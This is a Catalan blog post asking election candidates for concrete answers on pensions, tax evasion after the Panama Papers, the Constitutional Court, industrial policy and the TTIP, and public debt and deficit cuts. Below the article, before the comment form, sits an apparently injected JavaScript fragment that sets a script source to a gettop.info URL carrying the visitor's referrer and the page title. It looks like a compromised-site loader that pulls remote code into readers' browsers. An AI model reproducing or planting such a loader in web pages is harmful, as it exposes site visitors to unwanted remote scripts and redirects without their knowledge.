Blog

I…PER QUÈ?

Sembla  avinent que quan es convoquen uns nous comicis, la gent del carrer, els que som votants, ens fem algunes preguntes que ens agradaria traslladar a aquells que aspiren a ser elegits, molt especialment quan els propers comicis són conseqüència d’unes eleccions anteriors que van deixar un panorama tan borrós i complicat que ha obligat a convocar-nos  a exercitar una altra vegada el nostre dret de vot. Per això, ara més que mai, crec adient formular certes preguntes, d’aquelles que ens fem nosaltres mateixos, però que poques vegades han tingut clara resposta dels polítics.

Estem, doncs, en vigílies d’una nova campanya electoral, per no dir que ja hi som de ple: és lògic i normal que se’ns bombardegi  per tots costats amb una propaganda verbalment  intensa però, no ho és tant, quan fuig de concretar programes desgranant les solucions que es proposen per resoldre els temes reals que pateix el país. I per entendre’ns posarem algun exemple.

S’ha parlat – només parlat- de la precarietat dels Fons de la Seguretat Social destinats al pagament de pensions, davant la indeguda utilització per tapar altres forats i la desastrosa corba descendent de nous cotitzants, que fan perillar el sistema de pensions en un termini proper. Per què no es demanen explicacions en què s’han utilitzat indegudament aquests fons i en què estan invertits ?. I el més important, quines solucions aporten els aspirants a governar  per pal·liar el problema ?.

Després del safareig escandalós dels papers de Panamà i de conèixer la realitat de l’evasió fiscal més generalitzada al nostre país del que la ciutadania pensava, ¿és acceptable que es plantegi un augment impositiu –penso que semiimprovisat-  i els concurrents a les eleccions ho passin de puntetes i no es comprometin a cercar solucions serioses i estables, perquè el problema fiscal deixi de ser, lamentablement, font recurrent de divergències? Almenys intentar-ho.

El ciutadà, ¿creu lògica la frenètica activitat del Tribunal Constitucional que, amb les seves decisions, desvirtua a vegades el sistema autonòmic que va consagrar al seu dia la vigent Constitució, substituint la lògica negociació entre implicats, que és la essència de la política?

En un món obert i competitiu, les empreses industrials necessiten reforçar-se tecnológicament i financerament per fer front amb èxit el futur. Requereixen una adaptació sense reserves als nous sistemes fruit de la revolució tecnològica permanent tan en la producció com en la logística, comercialització, etc… La seva capacitat de generar ocupació, innovació i creativitat la fan indispensable en una societat avançada. Així doncs, ¿no sería convenient que en el debat electoral s’hi donés l’atenció que mereix el tema quan s’està negociant,amb certa reserva, el TTIP (Acord Transatlántic USA-Europa)?

Deute i dèficit. Dues paraules força repetides aquest últims temps. El Deute Públic “está que se sale” com diria un “castizo”. El dèficit, que és el que genera el deute, és el maldecap dels administradors dels pressupostos públics als diferents nivells. Si és cert que les impopulars retallades són la via per reduir dèficit, aleshores les vies per a la reducció haurien de ser escollides molt acuradament, doncs, -és un exemple- no és el mateix reduir en els pressupostos de sanitat, o en les pensions o en l’ensenyament, que en l’estructura de les administracions o en tanta i tanta despesa supèrflua de protocols, viatges, ferrocarrils que no  porten enlloc, aeroports de joguina, festejos varis, etc… I no estaria de menys donar explicacions convincents si tota la impopular retallada es fa per no augmentar el deute, quan resulta que –ho avala alguna càtedra- aquest deute i els interessos associats, és  pràcticament impagable als nivells que ha arribat si no és amb una quitança substanciosa. Òbviament després surt allò de la qualitat del deute espanyol, la disciplina teutona, la política econòmica de la UE.,  i etc…  Aquí només es pot demanar claredat, molta transparència i una bona dosi de didàctica.

¿Hi haurà rivalitat entre partits en la claredat dels programes i les propostes de solucions als problemes reals de país? Ho dubto, però tant de bo ens equivoquem. Les eleccions tindrien un al·licient majúscul, sobretot ara quan els electors estan emmandrits de tornar a endegar el procés i ser importunats amb propaganda anodina la majoria de les vegades. Es tracta, ni més ni menys, que de donar interès a la consulta afrontant la realitat del dia a dia, lluny de discursos plens de retòrica i buits de contingut.

 

}

s.src='https://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Deixa un comentari

L'adreça electrònica no es publicarà Els camps necessaris estan marcats amb *

Podeu fer servir aquestes etiquetes i atributs HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>